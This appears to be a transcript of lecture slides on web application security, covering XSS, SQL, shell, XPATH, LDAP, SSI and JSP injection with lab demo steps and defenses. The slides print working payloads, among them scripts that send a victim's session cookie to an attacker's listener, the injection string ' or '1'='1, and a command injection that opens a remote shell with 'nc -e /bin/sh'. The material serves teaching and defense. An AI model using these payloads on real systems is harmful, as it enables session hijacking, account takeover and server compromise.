Transcript web
Web Security Why Web Security: a Real Business Problem > 60% of total attack attempts observed on the Net are against Web applications > 80% of vulnerabilities discovered are in web apps Independent security audit Regulatory compliance Auditor finding Freeform edit box – Message to Customer Service XSS issue raised Must provide a response: – Prove issue to be a non-problem or – Describe actions to take Web Applications Big trend: software as a (Web-based) service – Online banking, shopping, government, etc. – Cloud computing Applications hosted on Web servers – Written in a mixture of PHP, Java, Perl, Python, C, ASP Security is rarely the main concern – Poorly written scripts with inadequate input validation – Sensitive data stored in world-readable files Typical Web Application Design Runs on a Web server or application server Takes input from Web users (via Web server) Interacts with back-end databases and third parties Prepares and outputs results for users (via Web server) – Dynamically generated HTML pages – Contain content from many different sources, often including regular users Blogs, social networks, photo-sharing websites… Two Sides of Web Security Web browser – Can be attacked by any website it visits – Attacks lead to malware installation (keyloggers, botnets), document theft, loss of private data Web application – Runs at website Banks, online merchants, blogs, Google Apps, etc. – Written in Javascript, PHP, ASP, JSP, Ruby, … – Many potential bugs: XSS, SQL injection, XSRF – Attacks lead to stolen credit cards, defaced sites, mayhem Web Attacks Cross Site Scripting (XSS) SQL Injection Shell Attacks If interested in more XPATH Injection LDAP Injection SSI Injection JSP Injection JavaScript Language executed by browser – Scripts are embedded in Web pages – Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page Used to implement “active” web pages – AJAX, huge number of Web-based applications Many security and correctness issues – Attacker gets to execute some code on user’s machine slide 9 – Often used to exploit other vulnerabilities Cross Site Scripting Attacker goal: their code into browser XSS forces a website visitor to execute malicious code in his/her browser Count for roughly 80% of all documented security vulnerabilities XSS Risks XSS abuses render engines or plug-ins Steal browser cookies Steal session info for replay attack Malware or bot installation Redirect or phishing attempt XSS Example 1 Trudy posts the following JavaScript on a message board: <script language="javascript"> var url = "http://machineaddress:5000/index.html?cookie= “+ encodeURI(document.cookie); </script> Then run a TCP server listening on port 5000 with e.g., nc –l 5000 When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy XSS Demo Instructions Set port forward to bypass the firewall ssh -L 8000:netsec-demos:2000 [email protected] Note: 8000 is the local port, it's forwarded to netsecdemos port 2000 through netsec-1 Use http://localhost:8000 to access http://netsec-demos.cs.northwestern.edu:2000 XSS Demo Instructions (II) Login as ychen and post the script with a sexy title (e.g., hot game!) <script language="javascript"> var url = "http://cal.cs.northwestern.edu:5000/index.html?cookie="; url = url + encodeURI(document.cookie); new Image().src=url; </script> Hi Everyone! Thanks for your cookies! Ssh to any other machine (e.g., cal.cs.northwestern.edu) and run nc –l 5000 Simple XSS Code var url = "http://machineaddress:5000/index.html? cookie=“+ encodeURI(document.cookie); document.cookie is the browser's entire cookie for the current website encodeURI() is a javascript function to hex-encode certain characters to be included as part of a URL – E.g., changing the space character to %20 – Make the URL less suspicious What can Trudy Do with the Cookie? Another user test458 login as and when clicking the post, cookie is sent to ychen Crack Bob’s password (MD5 hash in the cookie) with John the Ripper, Hydra, or any password cracker For more info, http://netsec.cs.northwestern.edu/resources/passw ord-cracking/ Use a Firefox plugin like Tamperdata to reset your cookies to impersonate Bob XSS Detection A client usually is not supposed to send scripts to servers If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet, then an attack has occurred – A sanitized script could look like &ls;SCRIPT>… Any user input must be preprocessed before it is used inside HTML SQL Injection Malicious SQL statements run on a database and thus attack the server – XSS can only target other users SQL Injection Example Trudy accesses Bob’s website; in which he does not validate input on his sign in form – Runs a SQL statement like the following: – select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe’; Set username to ' or '1'='1 select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1’; Effect: picks any row where the username is blank and the password matches or any row where true. Add “limit 1” to pick the first row SQL Injection Detection Input validation on any outgoing SQL statements from the web server to the database server – Filter Apostrophes, semicolons, percent symbols, hyphens, underscores, … Any character that has special meanings must be escaped, .e.g., convert ’ into \’ – Only works for string inputs – Different databases have different rules for escaping – Check the data type (e.g., make sure it’s an integer) Shell Attacks Control an actual machine like a web server Shell Attacks Inject commands into scripts that use Linux utilities – E.g., with “;” as command separator in UNIX/LINUX CGI programs like perl can use command-line programs (e.g. grep, ls) Unsanitized input as arguments can lead to command execution. Shell Attacks Demo Search engine in MiniBB webserver executes system("echo $user_usr " . $phrase . " >>/tmp/searchlogs"); Put phrase as: >/dev/null; id; echo randomdata – Hide user ID – Store random data in logs to evade detection We can even get a remote shell ! – >/dev/null; nc cal 5000 -e /bin/sh Defense Approaches Web firewall/IDS – ModSecurity for Apache – Commercial: SecureSphere from Impervia Static code analysis – Open source: Nikto – Commercial: Acutenix Web Vulnerability Scanner N-stalker Education on good coding – HTML encoding on input (server-side) – Input validation/filtering Backup Slides XSS Example 2 Trudy sends a link of the following URL to Bob that will take him to a personalized page: http://host/personalizedpage.php?username=<sc ript>document.location='http://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</script> A page is returned that contains the malicious script, and Bob’s browser executes the script causing his session cookie to be sent to Trudy Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious XPATH Injection Example Similar to SQL injection Bob has a form that does not sanitize userprovided input before using it as part of an XPATH query:: – string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) Trudy again can provide the following password to change the statement’s logic: – X’ OR ‘x’=‘x – The statement thus selects the first account LDAP Injection Example Server using LDAP for authentication – User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry Attacker can exploit using special characters http://example/ldapsearch.asp?user=* LDAP Injection Detection Detection is based off of usage of special LDAP characters – System monitors input for special characters – Either scrubs incoming input or watches for unescaped output passed to database server Detection approach is blackbox SSI Injection Example Bob has his server configured to use ServerSide Includes Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web.config"--> SSI inserts malicious code into normal webpages upon next request Future legitimate users get content containing the tainted code included by the SSI JSP Injection Example Similar to SSI injection Bob has a portal server configured to use dynamic code for templates Trudy passes input with an embedded <jsp:include “http://bad.com/1.jsp” > malicious code inserted into webpage JSP Injection Prevention Prefer static include <%include …> Don’t allow file inclusion outside of server via Java2 Security policies Firewall rules to prevent outbound requests from server Input validation coding Choose portal software not requiring dynamic includes or code execution Q&A Suggestions?